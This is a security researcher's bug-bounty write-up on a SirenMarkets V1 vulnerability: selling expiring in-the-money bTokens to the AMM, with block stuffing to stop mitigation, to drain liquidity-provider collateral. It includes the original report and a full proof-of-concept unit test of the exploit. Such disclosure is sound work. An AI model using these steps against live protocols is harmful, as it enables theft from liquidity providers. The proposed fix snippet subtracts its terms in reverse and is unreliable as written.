SirenMarkets V1 - Getting Free Leverage with a Block Stuffing Attack
9 min read

SirenMarkets V1 - Getting Free Leverage with a Block Stuffing Attack

How an attacker would have gotten free leverage by selling ITM options.
SirenMarkets V1 - Getting Free Leverage with a Block Stuffing Attack
Photo by Silas Baisch / Unsplash

Last year I discovered this vulnerability in SirenMarkets V1 that could've allowed an attacker to get free leverage!


The Siren Team already knew that their system might hold expired ITM bTokens.

However, they were unaware of the full kill chain that an attacker would employ to exploit the system, which would circumvent the planned mitigation.

They have awarded a bounty of $10,000 for this finding.

Siren Markets

Siren markets is a DeFi protocol that provides options, and not just that; it also provides an AMM that automatically writes option contracts on behalf of the liquidity providers.

This AMM will mint two tokens every time someone comes to the AMM to purchase an option, bTokens and wTokens, representing the two sides of the option contract.

  • bTokens grant their owner the right to exercise if the option is ITM (in the money).
  • wTokens grant their owner the right to withdraw the option premiums and collateral in case the option has not finished ITM.

High Level Attack

Three critical factors enable the vulnerability:

  1. The AMM doesn't just sell options; it buys and holds them too.
  2. The AMM doesn't care if you sell options about to expire.
  3. You can hold both sides of the option (bToken, and wToken)

So how does an attacker exploit this?

First, they acquire an equal amount of bTokens and wTokens, which removes their exposure to the underlying asset and enables the attack. Then they wait until the market is about to expire. Then there are two possibilities: the options are either ITM or OTM (exercisable/ not exercisable).

  1. If the options finish OTM, the attacker exercises their wToken, recouping their losses.
  2. The ITM scenario is where things get fun (for the attacker). Just before the bTokens expire, they will sell them to the AMM. The AMM, not knowing better, will buy the tokens at their current valuation without exercising the option. The AMM will also let the option expire without exercising it!

The attacker recoups their investment. Furthermore, in the second scenario, the AMM didn't exercise their options, so the collateral for the option is still available to wToken holders. So, an attacker would now exercise their wTokens to collect their premium and the remaining collateral.

The attacker gets free leverage!

Block Stuffing

What makes the attack extra interesting is the application of block-stuffing.

Block stuffing is a technique where an attacker submits tons of transactions with a higher gas fee than an honest user. Miners will fill their blocks with just those transactions until the block gas limit ( EIP 1559 was not implemented yet when I disclosed this issue).

In short, we get to do a short DOS on a few blocks.

This is important because the Siren team had devised a way to get out & exercise the ITM options.

In their fix, they had not considered that an attacker would be able to perform a block stuffing attack. Something which would have prevented them from saving and exercising those ITM options!

Performing the attack at the end of the final block before expiration would also suffice. This would have been a special type of back-running.

Conclusion

Always assess how an attacker might circumvent your vulnerability fix!


Make sure to give me a follow on Twitter if you want to read more bug bounty writeups.


Original Report

The following is the initial & unedited report that I sent to the Siren team, I hope it's helpful to you.

The Siren smart contract system has various components that enable collateralised options. This report will discuss the MinterAMM and Market contracts that enable an attacker to steal funds from the collateral provided by LPs to MinterAMM.

The core of the vulnerability is that an attacker can sell in-the-money bTokens to a MinterAmm while there isn't enough wTokenBalance to close the still open position at the last possible second. The attacker can then perform a block stuffing attack to prevent anyone from purchasing the tokens and exercising them.

This attack doesn't require block stuffing and could be performed by an incentivised miner (MEV).

As a result, there will be unexercised in-the-money tokens from which the attacker profits.

Code

The following snippet shows the relevant code from bTokenSell, where the position of bTokens is potentially not exercised.

// Always be closing!uint256 bTokenBalance = optionMarket.bToken().balanceOf(address(this));uint256 wTokenBalance = optionMarket.wToken().balanceOf(address(this));uint256 closeAmount = Math.min(bTokenBalance, wTokenBalance);if (closeAmount > 0) {    optionMarket.closePosition(closeAmount);}

The text above already mentioned that a requirement is that there is insufficient wTokenBalance to close the position. Under regular usage, this shouldn't happen, as the wTokenBalance of the amm should be equal to the total supply of bTokens.

However, if an actor withdraws their capital (without selling tokens), they can create a situation where there are more bTokens that can be sold to the amm, then there are wTokens to close positions with.

Attack

Unfortunately, an attacker can profit from performing these actions. The idea is as follows if someone with ITM bTokens doesn't redeem their tokens, then all wToken holders profit. An attacker can become a stakeholder and force the AMM to buy bTokens and not exercise them, and thus generate profit for themselves.

Some notes about the attack:

The attacker will share some of the profits with any other actor that has withdrawn their capital without selling their wTokens.

The attack is only profitable when an option ends in the money. Otherwise, it costs the attacker money. However, they're able to get much better risk/reward than regular participants.

The attack is made more difficult when there are multiple option markets. In this case, the attacker should either performs the attack multiple times or take on the risk of all other wTokens.

PoC

I've included a PoC test case where an attacker buys bToken and then acquires 1/2 of the bToken amount in wToken.

A smart attacker will likely create a situation in which they have roughly equal bToken and wToken, which makes the attack less risky.

The test case plays out the following scenario:

  1. There is pre-existing collateral
  2. An attacker buys some bToken
  3. An attacker invests collateral and immediately withdraws. They are effectively purchasing wTokens.
  4. An attacker waits until the end of the period and exercises their bTokens. Note that the number of which exceeds the amount of wToken held by the amm.
  5. An attacker waits until the options have expired and then claims their collateral using their wTokens
  6. In the end, the attacker has gained more of the collateral token than they had without.

In The Money

The PoC demonstrates how the attacker profits when the option ends ITM. As you would expect, the attack is much less profitable when the option ends OTM.  You can simulate this by tweaking the oracle price update in the PoC and seeing how the attacker will end with a loss.

However, you'll note that this loss would've been higher for the attacker had they not performed the attack. Furthermore, if the attacker had balanced their bToken and wToken, they would've performed this attack with even lower risk.

Block Stuffing

The provided PoC does not perform a block stuffing attack, as mentioned in the report's introduction. This is because block stuffing is only necessary to prevent other actors from acting to mitigate the attack (by buying up the bTokens and exercising them). Since the test runs in an isolated environment, we can easily simulate other actors not acting.

Mitigations

Penalties

While reading the audit reports for siren, I came across QSP-1 from Quantstamp, which describes how actors can not withdraw their entire capital in bTokens and wTokens.

This would prevent this bug from being exploitable in all cases where the actualised price increase on collateral is less than 100%. In other cases, the attacker will likely lose money, making this attack very risky.

Inspecting the current code seems to indicate that this behaviour has been removed and that participants can now withdraw their full stake.

Restricted minting

The restricted minting functionality is good and makes this vulnerability more difficult to exploit. Because of this functionality, an attacker will need to go through the MinterAmm and deposit + withdraw capital. They'll participate in more markets than they want to attack and will need to either take the options' risk or attack all markets simultaneously.

Proposed Mitigation

As far as I've been able to determine, only one portion of the code exercises tokens, and it exercises wTokens. I'd recommend also adding code to close bToken positions.

For example you could change the code mentioned above to:

// Always be closing!uint256 bTokenBalance = optionMarket.bToken().balanceOf(address(this));uint256 wTokenBalance = optionMarket.wToken().balanceOf(address(this));uint256 closeAmount = Math.min(bTokenBalance, wTokenBalance);if (closeAmount > 0) {    optionMarket.closePosition(closeAmount);} if (closeAmount < bTokenAmount) {	optionMarket.exerciseOption(closeAmount - bTokenAmount);}

Note that the code above assumes sufficient payment tokens are available. If this is not the case, then the call will fail. I think this is acceptable, but it could introduce reduced UX for dapp users.

Appendix

A unit test that demonstrates the attack:

/* global artifacts contract it assert */
const {
  expectRevert,
  expectEvent,
  time,
} = require("@openzeppelin/test-helpers")
const { BN } = require("@openzeppelin/test-helpers/src/setup")
const Market = artifacts.require("Market")
const MarketsRegistry = artifacts.require("MarketsRegistry")
const MockPriceOracle = artifacts.require("MockPriceOracle")
const Proxy = artifacts.require("Proxy")
const SimpleToken = artifacts.require("SimpleToken")
const MinterAmm = artifacts.require("MinterAmm")

const { MarketStyle, getPriceRatio } = require("../util")

const LP_TOKEN_NAME = "WBTC-USDC"
const NAME = "WBTC.USDC.20300101.15000"
const STRIKE_RATIO = getPriceRatio(15000, 8, 6) // 15000 USD
const BTC_ORACLE_PRICE = 14_000 * 10 ** 8 // BTC oracle answer has 8 decimals places, same as BTC
const SHOULD_INVERT_ORACLE_PRICE = false

const ONE_DAY = 86400
const THIRTY_DAYS = 30 * ONE_DAY

const ERROR_MESSAGES = {
  INIT_ONCE: "Contract can only be initialized once.",
  NOT_SAME_TOKEN_CONTRACTS: "_collateralToken cannot equal _paymentToken",
  W_INVALID_REFUND: "wToken refund amount too high",
  B_INVALID_REFUND: "bToken refund amount too high",
  B_TOKEN_BUY_SLIPPAGE: "bTokenBuy: slippage exceeded",
  B_TOKEN_SELL_SLIPPAGE: "bTokenSell: slippage exceeded",
  W_TOKEN_BUY_SLIPPAGE: "wTokenBuy: slippage exceeded",
  W_TOKEN_SELL_SLIPPAGE: "wTokenSell: slippage exceeded",
  MIN_TRADE_SIZE: "Trade below min size",
  WITHDRAW_SLIPPAGE: "withdrawCapital: Slippage exceeded",
  WITHDRAW_COLLATERAL_MINIMUM: "withdrawCapital: collateralMinimum must be set",
}

/**
 * Testing the flows for the Market Contract
 */
contract("AMM Verification", (accounts) => {
  const ownerAccount = accounts[0]
  const aliceAccount = accounts[1]
  const bobAccount = accounts[2]

  let marketLogic
  let tokenLogic
  let ammLogic
  let lpTokenLogic
  let marketsRegistryLogic

  let deployedMarketsRegistry
  let deployedMockPriceOracle
  let deployedMarket
  let deployedAmm

  let collateralToken
  let paymentToken

  let expiration

  before(async () => {
    // These logic contracts are what the proxy contracts will point to
    marketLogic = await Market.deployed()
    tokenLogic = await SimpleToken.deployed()
    lpTokenLogic = await SimpleToken.deployed()
    ammLogic = await MinterAmm.deployed()
    marketsRegistryLogic = await MarketsRegistry.deployed()
  })

  beforeEach(async () => {
    // We create payment and collateral tokens before each test
    // in order to prevent balances from one test leaking into another
    // Create a collateral token
    collateralToken = await SimpleToken.new()
    await collateralToken.initialize("Wrapped BTC", "WBTC", 8)

    // Create a payment token
    paymentToken = await SimpleToken.new()
    await paymentToken.initialize("USD Coin", "USDC", 6)

    // Create a new proxy contract pointing at the marketsRegistry logic for testing
    const proxyContract = await Proxy.new(marketsRegistryLogic.address)
    deployedMarketsRegistry = await MarketsRegistry.at(proxyContract.address)
    deployedMarketsRegistry.initialize(
      tokenLogic.address,
      marketLogic.address,
      ammLogic.address,
    )

    // deploy the price oracle for the AMM
    deployedMockPriceOracle = await MockPriceOracle.new(
      await collateralToken.decimals.call(),
    )
    await deployedMockPriceOracle.setLatestAnswer(BTC_ORACLE_PRICE)

    // create the AMM we'll use in all the tests
    const ret = await deployedMarketsRegistry.createAmm(
      deployedMockPriceOracle.address,
      paymentToken.address,
      collateralToken.address,
      0,
      SHOULD_INVERT_ORACLE_PRICE,
    )

    expectEvent(ret, "AmmCreated")

    // get the new AMM address from the AmmCreated event
    const ammAddress = ret.logs[2].args["0"]
    deployedAmm = await MinterAmm.at(ammAddress)

    const lpToken = await SimpleToken.at(await deployedAmm.lpToken.call())

    // verify event
    await expectEvent.inTransaction(ret.tx, deployedAmm, "AMMInitialized", {
      lpToken: lpToken.address,
    })

    expiration = Number(await time.latest()) + 30 * 86400 // 30 days from now;

    await deployedMarketsRegistry.createMarket(
      NAME,
      collateralToken.address,
      paymentToken.address,
      MarketStyle.EUROPEAN_STYLE,
      STRIKE_RATIO,
      expiration,
      0,
      0,
      0,
      deployedAmm.address,
    )

    const deployedMarketAddress = await deployedMarketsRegistry.markets.call(
      NAME,
    )
    deployedMarket = await Market.at(deployedMarketAddress)
  })

  it("is exploitable", async () => {
    // Some Helper variables:
    let totalMintedAlice = 0;
    const bToken = await SimpleToken.at(await deployedMarket.bToken.call())
    const wToken = await SimpleToken.at(await deployedMarket.wToken.call())
    const lpToken = await SimpleToken.at(await deployedAmm.lpToken.call())

    // ===== [ Vulnerable Market Setup] =====
    // Approve collateral
    await collateralToken.mint(ownerAccount, 1000e8)
    await collateralToken.approve(deployedAmm.address, 1000e8)

    // Provide capital
    let ret = await deployedAmm.provideCapital(1000e8, 0)

    // ===== [ Open the Attack ] =====

    // Now buy someBtokens for alice
    await collateralToken.mint(aliceAccount, 5189053654)
    totalMintedAlice += 5189053654;
    await collateralToken.approve(deployedAmm.address, 5189053654, {
      from: aliceAccount,
    })
    ret = await deployedAmm.bTokenBuy(0, 500e8, 5189053654, {
      from: aliceAccount,
    })
        
    assert.equal(
      await collateralToken.balanceOf.call(aliceAccount),
      0
    )

    // Let's purchase some wToken for Alice
    await collateralToken.mint(aliceAccount, 1000e8)
    totalMintedAlice += 1000e8;
    await collateralToken.approve(deployedAmm.address, 1000e8, {from: aliceAccount})
    ret = await deployedAmm.provideCapital(1000e8, 0, {from: aliceAccount})
    expectEvent(ret, "LpTokensMinted", {
      minter: aliceAccount,
      collateralAdded: "100000000000",
      lpTokensMinted: "97861159238",
    })
    ret = await deployedAmm.withdrawCapital(97861159238, false, 0, {from: aliceAccount})
    
    // ===== [ State after Opening the attack ] =====
    assert.equal(
      await collateralToken.balanceOf.call(aliceAccount),
      76755745039
    )
    
    assert.equal(
      await wToken.balanceOf.call(aliceAccount),
      24729754848,
      "Alice now has a bunch of wToken",
    )
    assert.equal(
      await bToken.balanceOf.call(aliceAccount),
      500e8,
      "Alice now has a bunch of bToken",
    )
    assert.equal(
      await bToken.balanceOf.call(deployedAmm.address),
      0,
      "The amm has no bToken tokens",
    )
    assert.equal(
      await wToken.balanceOf.call(deployedAmm.address),
      25270245152,
      "The amm has some wTokens",
    )
    // ===== [ Close the Attack ] =====
    // Now let's advance time until just before the end
    time.increase(28 * 86400)

    // And let's assume there was a big price jump!  
    await deployedMockPriceOracle.setLatestAnswer(BTC_ORACLE_PRICE * 1.5)
    
    // and let's sell the remaining tokens for profit
    await bToken.approve(deployedAmm.address, await bToken.balanceOf.call(aliceAccount), {
      from: aliceAccount,
    })
    const beforeBSell = await collateralToken.balanceOf.call(aliceAccount)
    ret = await deployedAmm.bTokenSell(0, await bToken.balanceOf.call(aliceAccount), 0, {from: aliceAccount})

    await time.increase(2 * 86400)
    await wToken.approve(deployedMarket.address, 25270245152, {from: aliceAccount})
    
    const beforeCollateral = await collateralToken.balanceOf.call(aliceAccount)
    await deployedMarket.claimCollateral(await wToken.balanceOf.call(aliceAccount), {from: aliceAccount})
    const finalBalance = await collateralToken.balanceOf.call(aliceAccount)

    // ===== [ Measuring Profits/ Losses] ===
    wProfit = (finalBalance - beforeCollateral)
    bProfit = (beforeCollateral - beforeBSell)

    console.log("Extra recieved because of b token: " + bProfit) // 50% of the profit over the collateral 
    console.log("Extra recieved because of w token: " + wProfit) // 100% returns

    assert(
      finalBalance - totalMintedAlice > 0,
      "Alice has lost money ",
    )
  })
})